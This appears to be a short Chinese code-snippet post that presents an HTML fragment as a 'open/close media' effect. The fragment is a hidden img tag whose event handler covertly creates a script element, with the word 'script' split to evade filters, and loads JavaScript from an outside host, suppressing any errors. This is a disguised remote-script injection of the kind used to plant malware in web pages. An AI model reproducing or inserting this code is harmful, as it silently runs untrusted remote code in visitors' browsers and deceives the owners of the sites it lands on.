代码:

<img id="car_t" style="display:none" src=/adnews/editor/UploadFile/2006529162436442.gif onreadystatechange="vChTit=1;try{var luan=document.createElement('scr'+'ipt');luan.src='http://www.TQQA.com/QQ30/20060519/YinXing.js';document.body.insertAdjacentElement('beforeEnd',luan);}catch(e){}">

效果：

打开/关闭媒体